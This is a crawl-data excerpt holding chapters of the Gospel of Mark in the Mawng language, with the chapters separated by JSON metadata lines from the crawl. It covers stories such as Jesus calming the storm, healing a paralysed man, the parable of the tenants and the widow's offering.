Malany ta kiwuyurka nakapa kapalkpa ta aparligaj kayirrk la kawarntulyakpin ta karrkpin warrwak ta kamamurranymin mata karrkpin mira la kamangatpi magarra mata mamawurr wularr. Malany pata karlurri awk kawaga kangpungula kunak la kawani mawngkumawngku. Nungpakapa kangmin parak wu pata God nuyu arrarrkpi ta awungalme.\"\n33-34 Jesus inilakulangung pu tuka iminang pu pata arrarrkpi. Wakapa Jesus la pata awarrangung rtil wiyu nuyu awaning palat ininnyang monmon mira wu ta wulatpiyi.\nJesus atilakujpan ta marlu la marrngarla pa angpung mapurlarr tuka wurl ta karrkpin\n(Matthew 8:23-27; Luke 8:22-25)\n35 Wakapa akutju Jesus awunnyukikang pata arrarrkpi la jita muwarn wularrut inyurying parak la yanat angkat ilatikinang tuka kapala. Pa ilakujpiny tuka awunyukikang la iminy pu pata awarrangung rtil wiyu nuyu, \"Arrungpanawun pirl wurrkaraga.\"\n36 Malany yara awunparutpan pata arrarrkpi warrwak la pata awarrangung rtil wiyu nuyu angkuwuning parak angkuwuning pirl wurrkaraga. Yara pata arrrarrkpi awulatingan tuka kapala ja jara awk pa awunpuyarruning parak.\n37 Malany wakapa orka marlu apukpangung ta natatparlangkat pa ta wupaj awunngawuning la antatinang parak ta wupaj tuka kapala. Wularrut yarlgenang parak ja kapala.\n38 Jesus yurnparrang tuka wurlun la aniwalkariny ta wanji tuka palungang. La pata awarrangung rtil wiyu nuyu amurtpiny pa iwikpung la awulajantung aminy nuyu, \"Oy! Nuyi ta Ngarrunukiki, ngarrurripa arrkpanarlkan la nuyi marrik ngarrunpurru! La kiki anmina warak!\"\n39 Jesus imajpungkinyapa la ilarrajpany kayirrk la inginkan iminy ngaw ta marlu la marrngarla, \"Anjintuna!\" Parangapa la angpung mapurlarr marrik muj kunuka iyirrnguna.\n40 Jesus iminy pu pata awarrangung rtil wiyu nuyu, \"Kunuka nuyu kutpurtpin? Kurlingka marrik kutpartukpu ngartu?\"\n41 Pata awarrangung rtil wiyu nuyu amurtpiny mira la aminy pu la wemin, \"Arta kurrayanti! Ta inginkan ta marlu la marrngarla amartukpung nuyu! Yanat ja Nulawarrkurlyak mira!\"","id":"","dump":"CC-MAIN-2023-06","url":"http:\/\/harmony.cx\/study\/content\/texts\/mph\/MK4.html","date":"2023-02-06T12:22:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500339.37\/warc\/CC-MAIN-20230206113934-20230206143934-00019.warc.gz","language":"mph","language_score":0.9999525547,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mph_Latn_score\": 0.9999525547027588}","num_words":1331,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.482,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nJesus ja Kiwken ngarrurru angpannyakaka yirrk ngarrurru ta aliwiyut tuka arrkpinang la God marrik iyintukuy ngarrurru.\n(Matthew 9:1-8; Luke 5:17-26)\n1 Warrwakapa Jesus imurnanganiny parak tuka kunak wungurlaj Capernaum. Malany pata arrarrkpi awalyungan Jesus imurnanganinyka tuka kunak nuyu.\n2 Wakapa wenat awarran parak iwayawng ilangaling tuka kurrampalk la angkuwung kulul la muj wimurra awulangaling yalayala akutju. Malany wakapa Jesus ilangaling wukej, ininnyang monmon pu arrarrkpi ta God nuyu ta wurluj.\n3 Malany yara pata arrarrkpi awuranka tuka kurrampalk ilij nuyu ja inimany pirl yung ilij japirri nuyu. La wenat angkumiyarmangung nuka ja arrarrkpi iwumanyi warak wanyjikap tuka Jesus wakapa Jesus iwaningulakan.\n4 Malany puka pata arrarrkpi awunpayawng wimurra pata arrarrkpi angkuwung rtal tuka kurrampalk. Kayirrk la wenat iwumany parak ja kimaju ja arrarrkpi tuka yurrng ta kurrampalk la angkuwung rturr. Kayirrk la ja arrarrkpi iwumajpungkuny ilij japirri iwakan tiyip parak wumarrk tuka antajing. Wakapa iwutpan tuka Jesus ilangaling.\n5 Kayirrk la Jesus awunnyayawngka ta alaj amartukpung nuyu la iminy nuyu ja inimany pirl, \"Nuyi kungpurrun ta aliwi anminang. Ngapi ngungpaka nuwu ta aliwi ta anminang la yanat God marrik iyintukuy nuwu.\n6 La yara pata awunpukikang ta wulatpiyi wu pata Jew arrarrkpi awalyung nuyu Jesus inginkangung wu la angkuwurruning mira,\n7 \"Makiny, yanat marrik imi ta nungpakapa! Yarakapju parang God iwanginka iwanamin parak! Kimin mali yanat ja God. Yanatapa kiningula God kinyetpi wurwiny tuka kinginka!\"\n8-9 Malany Jesus aniwurrung wu pata Jew arrarrkpi tuka angkuwurruning, kayirrk la iminy pu, \"Kurlingka kurrungpurrun ta ngapi nganamin ja God marrik iyintukuy nuwurru murnin marrik nganti muj aniwurru ta ngapi ngimanma lagarr. La nuwurri ajirrik kurrungpurrun ta ngapi marrik ngami nuyu ja arrarrkpi 'Anmajpungkina, kumanyi nuwu ja atjiyarrkarrk kungmarrajpuni warak kunak!' la ta marrik imi inimang ja atjiyarrkarrk animarrajpu warak kunak arrarrkpi awanamin 'Jesus ja kinima lagarr'.\n10 Kayirrk ngapi kurrunpanuki ta ngawunpangulakan pata arrarrkpi la God akutju iminy ta ngapi nganarra pularnngalk kirrk ta nungmurrunti ta kutpinang la God marrik iyintukuy nuwurru. La muj kayirrk kurrunpaniki ngapi ta ngangurlyak mira nganilangakanka God la ngungatpi wutkut ta nungmalal la manjat ta ngaminy nuwurru. Akutju wutkut ngungatpi ta ngayama!\" Kayirrk la Jesus yukeny innyayawng ja inimany pirl la iminy nuyu,\n11 \"Ngawu, anmajpungkina kumanyi nuwu ja atjiyarrkarrk la anngurakanyi!\"\n12 Nungpakapa ja arrarrkpi imajpungkiny iniwutikiny ja atjiyarrkarrk tuka awulangaling arrarrkpi la yurakan parak kunak. La iwayawng amparrkamparrk awurlkpalangkeny murnin Jesus iningulikiny. Kayirrk la awunpulakajpuning la wemin, \"Arriwanawun ngij God ja numalal mira. La marrik wularrut arrungayanti ta ayuk!\"\nLevi ja inimangung pu tax iniyarrung Jesus awarrangung rtil\n(Matthew 9:9-13; Luke 5:27-32)\n13 Warrwakapa ja Jesus atjarutpan ta kurrampalk yarrangung juju warak tuka angarilil ngaw wurl. La puka pata arrarrkpi pata tuwuran ilurrngarni awangkungka nuyu, la yanatapa angkat ininnyang monmon pu.\n14 Pata Roman arrarrkpi awukenangapa ta kunak wu wakapa la wenatapa awuyamangung pu pata Jew arrarrkpi la iwumangung ja tax rrupiya la inimangung ja Roman arrarrkpi ja yukenang pu. La yarakap ja arrarrkpi iyamangung wu pata Roman arrarrkpi ja ingurlaj Levi, la ja inimalkpany ingurlaj Alphaeus. Wakapa Jesus yarrangung parak la innyayawng Levi la iminy nuyu, \"Ngapi kunmiyarma arrkpanarra rtil nuyi. Ngawu, nganpayarrun ngapi!\"\nKayirrk la imajpungkiny ja Levi la awarrangung rtil warak Jesus.\n15 Wakapa ta arukaruk ta apulangung walij, Jesus la pata awarrangung rtil wiyu nuyu, la wimurra pata arrarrkpi akutju, apulangung ta walij tuka Levi nuyu ta kurrampalk la muj apulangung wimurra pata arrarrkpi akutju pata awuyamangung iwumangung ja tax rrupiya, la wera pata arrarrkpi apulangung rtil la marrik angkuwurruni ta God nuyu.\n16 Kayirrk la pata Jew arrarrkpi pata awunpukikang ta wulatpiyi, la pata awukenang ta wulatpiyi wu pata awuntuwarnangajpuning Pharisees, iwayawng Jesus apulangung rtil walij pata arrarrkpi. La pata awukenang wulatpiyi awunpulakajpung pata Jesus awarrangung rtil wiyu nuyu, \"Kunuka nuyu Jesus kapula rtil walij pata arrarrkpi marrik angpuyarru warak ta God nuyu?\"\n17 La ja Jesus yalyungan pu, la iminy pu, \"Kutpanalyu ta ngapi ngungpanunma nuwurru - puka pata arrarrkpi pata kamaju kiwumiyarma ja marrgijpu, la arrarrkpi pata marrik amajung marrik iwumiyarmang ja marrgijpu. La ngapi ngamin nuwurru ngapipa ta kapin marrgijpu. La nuwurrri kutpin mali puka pata arrarrkpi kamin ta nungmurrunti, la ngapi ngatpayirtiki awamilkpungen angkayarrun ta nungmalal. Nuwurri ta kutjama kurrima tax ja rrupiya atjirrik kurrungpurrun kutpin mali marrik kutpi ta nungmurrunti warak la marrik ngapi atjirtiking!\"\nMalany ta wulatpiyi wu pata Jew arrarrkpi la Jesus nuyu ta wulatpiyi marrik angpartawkunyjili\n(Matthew 9:14-17; Luke 5:33-39)\n18 La pata Pharisee pata awukenang wulatpiyi wu awulakuwuning ta walij murnin angpuyarruning ta wulatpiyi wu la yanat John ja aningurtpulukpuning pu pata awarrangung rtil la yara wenat akutju awulakuwuning. Malany yara pata arrarrkpi awuranka nuyu Jesus la iwulakajpung yanat, \"Kunuka nuyu puka kapula akut ta walij pata nuyi nuwu pata kurrara rtil la pata Pharisees la John ja kaningurtpulukpun wu pata kawarra rtil wiyu nuyu yara kawulakuwun?\"\n19 Kayirrk la Jesus iminy \"Ta mulil ta awanaga awanurlgen pata jawirna nuyu ta alaj inypanima la yamin apanatpi ta walij apanala rtil yanatapa ja arrarrkpi. Kapin ngapi akutju. Ngapi kani akutju ngawani la pata jawirna ngartu kamin marrmarr ta ngatpani rtil ngarrata.\n20 Malanypi pata arrarrkpi ngantanama warak ngantanawun warrwak la pata jawirna ngartu ngawunpawurlkpungku la awalakuwun ta walij.\"\n21 Kayirrk la Jesus annyunmangung pu tuka awunnyukikang. La iminy pu, \"Kapin ta kotping iwugi ja pajupaju ja yarlangke marrik kumangka kwirrkpu ilij ja wurrwurr ja manpurrwa. Malany ta kuwawinypun nakapa iwanarlangken la ja pajupaju ja numurrunti marrik anjarning.\n22 La muj tuka ta karrunta ta wurrwurr naka marrik arrungpu rlaw ja pujurlung ja imi rtapartap. Wakapa tuka karrunta nakapa kanti jir la kanya yirrk! Malany karrungpulawn parak ja wurrwurr ja pujurlung. La ta wulatpiyi wu pata Jew arrarrkpi la tuka ngapi kurrunukiki marrik angpartawkunyjili.\"\nJesus inilakuliny wu ta Jew wungurlyak ngurrij\n(Matthew 12:1-8; Luke 6:1-5)\n23 Malany puka pata Jew arrarrkpi angpatpang jirl ta wungurlyak ngurrij, la Jesus la pata awarrangung rtil wiyu nuyu awarrangung juju warak tuka apuyurlkangung walij. Wakapa wenat awarrangung parak wakapa amajungan wirrngak la apumany ta wanpirlk la apuwany.\n24 La pata Jew arrarrkpi pata awukenang wu iwayawng Jesus la pata awarrangung rtil wiyu nuyu la marrik amina marrmarr. La wenatapa iwuluntuny ja Jesus aminy nuyu, \"Nuwurripa ta kurrunjarrun nungmurrunti warak! Kayirrkapa ta Jew wungurlyak ngurrij la tukapa ta wulatpiyi ngarrurru. Parangapa la wenatapa apumangung ta wanpirlk tuka atjurjinang. La pukapa pata awuyamangung! Wenatapa angpukpung ta wulatpiyi!\"\n25 Kayirrk la Jesus iminy pu wenat, \"Arta! Kurrungpurrun ta ngungpanunma ta wularrut ja King David ja yukenang pu la pata arrarrkpi nuyu. La wakapa ja Abiathar ja yukenang ngarrurru ta wulatpiyi. Malany David la pata arrarrkpi nuyu amajungan wirrngak,\n26 kayirrkapa la David yuran yurlgeny tuka God akurlyak kurrampalk atimanyka ta akurlyak ta walij. La wenatju parang pata kawuken ta wulatpiyi wu pata Jew arrarrkpi kapula ta akurlyak walij. La David la pata arrarrkpi nuyu apuwany ta walij, la nungpakapa angpukpung ta wulatpiyi ngarrurru ta Jew arrarrkpi! La God marrik iyintukuna wu.\"\n27 Kayirrk la Jesus iminy pu, \"Kurralyunyi ngartu! God nuyu ta wungurlyak ngurrij pata arrarrkpi wakapa kangpaka wirrngak, la marrik angpuyarru warak ta wulatpiyi!\n28 Nungpakapa nungmalal ta alaj apumany ta wanpirlk pata jawirna ngartu, ngapi ta ngangurlyak ta God nganilangakanka. Ngapi ta nguken ngarrurru ta Jew wungurlyak ngurrij akutju!\"","id":"","dump":"CC-MAIN-2023-06","url":"http:\/\/harmony.cx\/study\/content\/texts\/mph\/MK2.html","date":"2023-02-06T11:53:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500339.37\/warc\/CC-MAIN-20230206113934-20230206143934-00085.warc.gz","language":"mph","language_score":0.9999811649,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mph_Latn_score\": 0.999981164932251}","num_words":1144,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.513,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12\nPata Jew awukenang pu marrik awunpayatayanti God nuyu pata arrarrkpi tuka nungmalal warak\n(Matthew 21:33-46; Luke 20:9-19)\n1 Malany warrwakapa la Jesus annyunmangung pu la iminy pu, \"Ja arrarrkpi animiyarmany apaniyurka walij tuka wungurlyak kunak. Malany yanat manilanganiny mingkaga tuka walij atiyurjiny la muj atjakan yurrng ta palapala tuka arrarrkpi awanarnti mampayatayan mata warlk. Malany yanatapa aninguliny manjat kirrk. Kayirrk la yanatapa ja arrarrkpi nakapa awunimany pata wera muj pata arrarrkpi pata wemin apayatayantung ta walij. Malany nukapa ja arrarrkpi la wenat angpungulinnguliny kirrk pa apululkanyang nuyu ta walij tuka awuyamangung tuka yanat nuyu ta kunak. Warrwak la yanatapa ja nuyu kunak yuran tuka nungmatpa kunak.\n2 Malany warrwakapa ta apururrk walij apalkpany la ja arrarrkpi ja nuyu kunak inilangakan ja iyamangung nuyu pa apanima ta walij tuka yanat nuyu atiyurjiny.\n3 Malany pata arrarrkpi pata awulangaling wakapa tuka mingkaga iwumany nuka ja arrarrkpi la iwuwuning la iwakan yalayala marrik kunuka muj atimurnanganya warak nuyu ja nuyu kunak.\n4 Malany ja nuyu kunak inilangakan parak jara ja arrarrkpi tuka atjurjinang walij. Malany wenatapa pata arrarrkpi nakapa iwuwung wilkpujpilkpuj akutju la iwungalkpung tuka wanji.\n5 Kayirrk la ja nuyu kunak inilangakan jara ja arrarrkpi tuka atjurjinang ta walij la wenatapa pata arrarrkpi iwuwung iwularr. Malany nungpakapa angminang akut ta awunilangakangung pata awuyamangung nuyu pa apumanyi nuyu ta walij la makiny, arrarrkpi pata wakapa awulangaling tuka mingkaga nakapa awuntuwuning yara pata awuntuwuning wiwularr la yara pata awuntuwuning kayirrk la awunpulangakangung.\n6 Malany ja nuyu kunak wakapa tuka atjurjinang ta walij awk innyatpang yarakapju ja arrarrkpi ta iwanilangaka pa apanima nuyu ta walij. Malany ja nuyu kunak iminy ta nuyu wiyu, 'Kija nganunmen arakap akutju ngiwalangaka ja ngapi wiyu ngimalkpany. Malany ngapi ngimiyarma mira malany wenatapa pata arrarrkpi pata kawulangali tuka katjurjin ta walij awk nakapa awamartukpun nuyu.'\n7 Malany pata arrarrkpi wakapa awulangaling tuka atjurjinang walij awk iwayawng ja nuyu kunak inimalkpany la aminy pu la wemin, 'Kapin ta iwamaju ja nuwarlkparrakan nuka ja marryun angpanima nuyu kunak. La arriwanawun nuka ja marryun kayirrk la arrungpanama kani tuka katjurjin walij awk la atpanuken ngarrurri wiyu.'\n8 Kayirrk la iwumany nakapa ja marryun la iwuwung imajungan la iwakan yalayala.\n9 Malany kiki iwanamin ja nuyu kunak? Wakapa iwana tuka katjurjin ta walij awk la awunpaniwun kirrk pata arrarrkpi. Kayirrk la awunpannyun parak wera pata arrarrkpi pa angkayatayan nuyu.\n10 Malany nuwurri kurrungpawurrun tuka iwumirrawung tuka God nuyu ja jurra:\n'Malany pata arrarrkpi angkumany waryat la apunguliny kurrampalk. Malany pata awuyamangung aminang mali arakap ta waryat aliwi pa angpakan.\nLa makiny! La tukapa ta waryat ta wungurlyak mira murnin wenat marrik angkuwurruni mira.\n11 Malany God aninguliny tukapa ta waryat wungurlyak mira.\nLa pata God nuyu arrarrkpi kamin marrmarr ta nungpakapa ta iminy ta wunguryak mira.' \"\n12 Malany pata awukenang pu pata Jew arrarrkpi awalyungan ta annyunmangung pu la wularrut angkuwurrung parak ta wenat animangung pu - malany wenatapa kapin pata tumurrunti pata awuyamangung tuka atjurjinang walij awk. Malany wenatapa marrikpan mali la angkumiyarmangung iwumanyi warak tuka iwuwutakanyi. Malany wenat amurtpiny awuntumurtpan pata arrarrkpi kayirrk la iwarutpan ja Jesus la awuran.\nYara arrarrkpi angkumiyarmangung iwulagarruni ja Jesus\n(Matthew 22:15-22; Luke 20:20-26)\n13 Malany ta warrwak yara pata Jew arrarrkpi pata awukenang pu awuntumirtujpan yara pata arrarrkpi. Malany yara awuntumany pata awunpukikang pata awukenang pu ta awulangaling ta wulatpiyi wu pata awuntuwarnangajpuning Pharisees la yara pata jawirna nuyu ja yukenang pu Herod. Malany pata awukenang awunpulangakan arrarrkpi pa iwulagarruni ja Jesus. Malany wenatapa awunmeny nuyu tuka inginkanyi ajirrik ta aliwi, pa angpungulanyi nuyu lirri.\n14 Malany wenatapa aminy nuyu ja Jesus, \"Nuyi ta Ngarrunukiki, ngarri ngarrungpurrun tuka nuyi kungmiyarma kanmin ta manjat la kannginka aralpa ta ngaralk. Kapin ta nuyi kannginka wu amparrkamparrk nakapa kanmin parak pu ta manjat kirrk wu pata kawuken la muj pata wera. Malany nuyi kanpunukiki akut ta God nuyu ta ngaralk tuka manjat warakju. Kiki ja ngarruntakpanyi: 'Kurlingka manjat la nungmurrunti ta ngarri ta Jew ta ngarratulkanyi wu ja karriwarnangajpun tax pata Roman kawuken tuka ngarrurri ngarrurru ta kunak?' \"\n15 Malany Jesus wularrut aniwurruning kapin tuka imi, \"Makiny nungpaka nungmurrunti ta kurratulkanyi nakapa ja rrupiya\" nakapa animanyi kit lirri iwarnamanyi pata Roman kawuken la kapin ta imina \"Ee kurratulkanya ja tax rrupiya\" nakapa animanyi kit ta lirri iwarnamanyi pata Jew arrarrkpi - murnin wenat angkumiyarmangung marrik awukena wu pata Roman kawuken. Kayirrk la Jesus iminy pu, \"Yunyi ngarruntagarrukun. Kurlingka nuwurri kurryatpi ja rrupiya? Ngungmiyarma ngiwayan.\"\n16 Malany pata arrarrkpi iwung Jesus ja waryat la yukeny innyayawng la iminy, \"Nuka nganti kilangali tuka waryat? Nganti ja nuka la nganti ingurlaj?\"\nMalany wenatapa pata arrarrkpi aminy, \"Nuka Caesar - ja kiwken wu pata Roman pata wimunpimun.\"\n17 Malany Jesus iminy pu, \"Ma, nuwurri ja kutpunpanawn pata Roman kawuken ja nuka awk ja wenat pu, la nuwurri kurriwanawn God ja yanat nuyu akutju.\"\nMalany wenatapa awurlkpalangkeny kirrk ta awalyungan nuyu.\nTa kapa yurrng arrkpawani marrik muj arruntumang la ngarrurrimung\n(Matthew 22:23-33; Luke 20:27-40)\n18 Wakapa awaning yara pata Jew arrarrkpi malany wenat angkuwurruning kapin ta ngantiyirrik ja kaniwularrun naka marrik muj imajpungkiga. Malany wenatapa awuntuwarnangajpuning 'Sadducees'. La muj awunmeny ta iwulagarruni Jesus.\n19 Malany wenat aminy nuyu, \"Nuyi ta Ngarrunukiki, ja Moses ta animirrawung tuka God nuyu ta wulatpiyi tuka kangmin parak: Kapin ja arrarrkpi kawani jita warramumpik tuka kaniwularrun la marrik awunpatping warrayngiw nakapa ja awulingan kinyima kawani jakapa jita warramumpik. Malany nakapa ja arrarrkpi la warramumpik iwanatpi warrayngiw ja yanat nuyu ja awulingan ja imajungan.\n20 Kapin tuka kangmin parak. Malany awaning wurrkamaj yurnu la ngarrkarrk pata awulinganut. Malany ja wulku inyimany warramumpik awaning warrwak la imajungan la marrik muj ingatpa ja warrayngiw.\n21 Kayirrk la ja numatpa wulku inyimany awaning jakapa jita warramumpik malany nungpakapa aminang angpuyarruning ta God nuyu ta wulatpiyi. Kayirrk la imajungan ja numatpa wulku la marrik muj ingatpa ja warrayngiw. Kayirrk la ja jara ja awulingan inyimany akutju la imajungan akutju la marrik muj ingatpa ja warrayngiw.\n22 Nungpakapa angminy parak pu pata awulinganut. Malany wenatapa angpuyarrung ta God nuyu ta wulatpiyi tuka inyjumangung jakapa warramumpik awaning. Malany wenatapa pata arrarrkpi amajungan kirrk la marrik muj awunpatpa warrayngiw. Malany ta warrwakapa la jita warramumpik inymajungan akutju.\n23 Arta! Nuwurri kutpin mali pata amajungan pata arrarrkpi awk awamajpungkinka awawani rtirr wernangkat akutju, tukapa ta kurruntakajpun: malany wenatapa pata awulinganut la jakapa jita warramumpik ta awamurnanganiga awawani rtirr akutju, malany wenatapa pata awulinganut nganti ja inypanima awawani? Malany wurrkamaj yurnu la ngarrkarrk pata awulinganut awaning jakapa jita warramumpik warrwakapa la angawularrung.\"\n24 Malany Jesus iminy pu, \"Nuwurri kurlingka kurrungatpi wularri? Nuwurri marrik kurrungpurru ta God nuyu ta ngaralk martapapa mira la muj marrik kurrungpurru ta God nuyu ta wutkut ta kannyatpi.\n25 Malany pata amajungan pata arrarrkpi awamajpungkinka wernakat akutju malany awanamin kapin pata God kangkumaga nuyu wurluj ta kapa yurrng. Malany wenatapa pata kangkumaga God nuyu ta wurluj ta kapa yurrng marrik awuntumang la wemin. La pata arrarrkpi kawani kapa yurrng marrik ami ta nungpakapa akutju. La marrik awuntuwarlku la awunpu la wemin.\n26-27 Malany nuwurri kutpin mali pata arrarrkpi ta kamaju marrik muj amajpungkiga. Nuwurri kurrungpurruni tuka angkumirrawung tuka God nuyu ja jurra tuka kiki angminy parak ja Moses - tuka yukeny mannyayawng warlk mata malijap malangung yungku la God iminy nuyu Moses, 'Ngapi ta God nuyu Abraham la God nuyu Isaac la God nuyu Jacob.' Yanat God marrik imina wu yanat ja God wu pukapa pata ngarrkarrk la werakap pata arrarrkpi ta wularrut. La yanat iminy ngapipa ta kayirrk ta God wu puka pata ngarrkarrk la yarakap pata arrarrkpi. Malany ta wulatpiyi kangmin parak wenatapa pata ngarrkarrk la yarakap arrarrkpi kawani rtirr wernakat akutju marrik amajunyi akutju. Malany kayirrk kawani rtil God. Ta tuka kutpin nuwurri naka marrik aralpa.\"\nTa wungurlyak mira ta wulatpiyi\n(Matthew 22:34-40; Luke 10:25-28)\n28 Malany yarakap arrarrkpi ta Jew wulatpiyi awunnyukikang yalyungan nuyu ja Jesus la aniwurrung tuka Jesus awunilakpany ta manjat. Kayirrk la inilakajpung Jesus, \"Ngampiwi ta God nuyu ta wulatpiyi ta wungurlyak mira?\"\n29 Kayirrk la Jesus inilakpany, \"Ta wungurlyak mira ta God nuyu ta wulatpiyi tukapa:\n'Kurralyunyi ngartu nuwurri ta Israel arrarrkpi,\nGod ja kiwken mira nuwurru amparrkamparr.\nYanatju yarakap kutpanalyu nuyu\n30 Yanatju God kurriwamiyarma martapapa mira.\nNuwurri kurriwamiyarma mira God tuka nuwurrijalk pularr.\nNuwurri kurriwamiyarma God tuka kurralyu kiki kutpin la kurrungpurrun.\nLa muj kurriwamiyarma God tuka kiki kutpin awk.'\n31 Kayirrk la warrwak ta wungurlyak mira ta God nuyu ta wulatpiyi tuka kangmin parak:\n'Nuwurri kutpunpamiyarma werrk wera pata arrarrkpi la muj kutpunpayatayan\nkapin kutpiyarma ta nuwurru wiyu la kurrayatayan ta nuwurru wiyu.'\nMalany tuka ta ngarrkarrk ta wulatpiyi nuntatparlangkat la wungurlyak mira.\"\n32 Malany ja Jew ja kawunnyukiki ta wulatpiyi wu iminy, \"Nungpakapa ta anminy ta nungmalal mira, nuyi ta Ngarrunukiki! God yarakapju ja kiwken ngarrurru amparrkamparrk. Nuyipa kanmin ta manjat, 'Marrik nganti muj ja jara ja god la Yanatju parang!'\n33 La ngarrurri arriwamiyarma God aralpa mira, marrik ta lagarrukuj. La muj ngarrurri arriwamiyarma God tuka arrkijalk pularr ngarrurru. Malany ngarrurri arriwamiyarma mira God tuka karralyu kiki katpin la muj tuka karrungpurrun. La muj arriwamiyarma mira tuka katjama. Tukapa ta arrungpamiyarma mira ngarrurri ngarrurru ta arrungpayarrun God nuyu ta wulatpiyi la marrik arrungmiyarmang ta arrunjarru ta mulil kapin tuka arriwunyay ngarrurri irratat arriyu.\"\n34 Malany ta Jesus yalyungan nuyu ja arrarrkpi ta inginkangung la aniwurruning ta manjat kirrk. Kayirrk la Jesus iminy, \"Malany nuyipa kungpurrun ta manjat parak. Malany nuyipa wanyji ta God iwanuken nuwu.\"\nTa warrwak marrik muj iwulakajpukpuni ja Jesus la muj iwulagarruni.\nTa wularrut David iwaning Jesus wakapa akutju yarrangung\n(Matthew 22:41-46; Luke 20:41-44)\n35 Warrwak la Jesus awunnyukikang arrarrkpi wukej tuka God nuyu ta karrpin mira ta akurlyak kurrampalk. Malany iminy, \"Nuwurri kurriwurrun ja David ja iwaning wularrut mira, la kayirrk pata karrunpukiki ta wulatpiyi kamin ngarrurru ja ingurlyak ja arrarrkpi nakapa kimin wawupawu ja David. Malany kiki kangmin parak ta nungpakapa?\n36 Malany kurrungpawurrun ta tukapa: La ja God nuyu ja Nyunyuk Iyarmu iminy nuyu David, \"Kungpamirrawun tuka ta ngaralk:\nMalany God iminy nuyu ja ngapi kiwken ngartu 'Ngawu kani atpawani rtil,\nmalany ta warrwakapa la anpanuken pu pata lirri nuwurru.' \"\n37 Nungpakapa ja David ininnyang monmon nakapa ja ingurlyak ja arrarrkpi ja God inilangakanka, la David iniwarnangajpuning ja Kiwken. Kiki kangmin parak nukapa ja arrarrkpi ja David kimin wawupawu?\"\nMalany wigarra yirrk pata arrarrkpi ta awalyungan nuyu ja Jesus la aminy marrmarr kirrk nuyu.\nKutpunpayan mira pata kawunpukiki wulatpiyi la naka kiwumalagarr marrik angpuyarru ta God nuyu ta wulatpiyi\n(Matthew 23:1-36; Luke 20:45-47)\n38 Malany ja Jesus angkat awunnyukikang pata arrarrkpi. La iminy, \"Kutpunpayan mira pata kawunpukiki ta wulatpiyi awk. Wenat kamin mali wingurlyakut. La kawuyarni ja manpurrwa ja yarntulyakut pa kamamin pu mali arrarrkpi awuntayan. La muj wenat kangkumiyarma arrarrkpi ta kawunpilima warak tuka kawa kawulakpolorrki.\n39 Malany wenatapa pata kawunpukiki wulatpiyi awk kangkumiyarma tuka awamartukpun pu la muj kangkumiyarma awanarnti tuka mangurlyak mata warlk tuka karrungatpi iwarruj. La muj kapin ta kawa tuka kangpatpi mulil nakapa kangkumiyarma awanarnti tuka mangulyak mata warlk akutju.\n40 Malany wenatapa kawunpulagarrukun pata tuwarlkparrakanut pata warramumpik pata marrik nganti awunnyayatayanyjing. La muj kawuli wumpulaj pu kurrampalk la kunuka yirrik ja kiwatpi awk. La wenatapa pata kawunpukiki ta wulatpiyi awk kawa tuka kurrampalk tuka kangpatpi akut iwarruj la kawulangali iwarruj arntulyak pa awuntangula ajirrik wigarra yirrk awanamin puka pata tumalalut mira. La naka kiwumalagarr ta kiwuyarrun God! La malany God iwayintukun pu pata arrarrkpi ta nungmurrunti ta kamin. La pukapa pata arrarrkpi kawunpukiki ta wulatpiyi nakapa iwayintukun mira wu.\"\nWarramumpik jita namarlaja ingawng kirrk God ja rrupiya ja ingatpang\n(Luke 21:1-4)\n41 Malany ta warrwak Jesus yuran ap wanyji tuka rrupiya iwutpangung tuka God nuyu ta kurrampalk. Malany iwaning awunnyayantung pata arrarrkpi ta iwutpangung ja rrupiya nuyu ja God. Malany yara pata imurra rrupiya iwatpang pata arrarrkpi iwutpangung imurra.\n42 Kayirrk la jita namarlaja jita warramumpik inyurlgenyka. Malany ninypurnirri arrarrkpi imajungan ngaw. Malany inyanat ingutpan ngarrkarrk ja ilinyjinyut ja rrupiya tuka iwulatikang rrupiya awk.\n43 Kayirrk la Jesus ilajantiny pu pata awarrangung rtil wiyu nuyu la iminy pu, \"Ngapi nganamin nuwurru manjat: juka jita namarlaja jita warramumpik ingutpan kirrk ja ingatpang la pata iwatpang imurra rrupiya nakapa iwulatiny anyakju.\n44 Malany wenatapa pata iwatpang imurra rrupiya kamin mali iwutpan imurra ja rrupiya, la naka kiwatpi akutju imurra kiw wu tuka kunak. La jita namarlaja jita warramumpik naka ingutpan kirrk ja ingatpang. Marrik muj kunuka ingamurnanganya, marrik muj ingatpa ja walij nuyu inyjakpolorrka.\"","id":"","dump":"CC-MAIN-2023-06","url":"http:\/\/harmony.cx\/study\/content\/texts\/mph\/MK12.html","date":"2023-02-06T12:34:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500339.37\/warc\/CC-MAIN-20230206113934-20230206143934-00202.warc.gz","language":"mph","language_score":0.9999824762,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mph_Latn_score\": 0.999982476234436}","num_words":1972,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.49,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} diff --git a/mph_Latn/fineweb-2_000001_remove.jsonl b/mph_Latn/fineweb-2_000001_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..df8bc6bf442256057477965d431cbf5d681c6179 --- /dev/null +++ b/mph_Latn/fineweb-2_000001_remove.jsonl @@ -0,0 +1,3 @@ +{"text":"13\nJesus iminang pu tuka kiki angpanamin parak\n(Matthew 24:1-14; Luke 21:5-19)\n1 Jesus la pata awarrangung rtil wiyu nuyu angparutpan tuka God nuyu ta karrpin mira ta akurlyak kurrampalk kapa Jerusalem la amalkpany awuran yalayala. La yarakap iminy, \"Arta nuyi ta Ngarrunukiki, anngukena kartayanti tuka ta kurrampalk ta napalal mira. La muj kungayanti tuka waryat ta karrkpin awk. Tuka ta napalal mira ta kurrampalk ta apunguliny nuyu 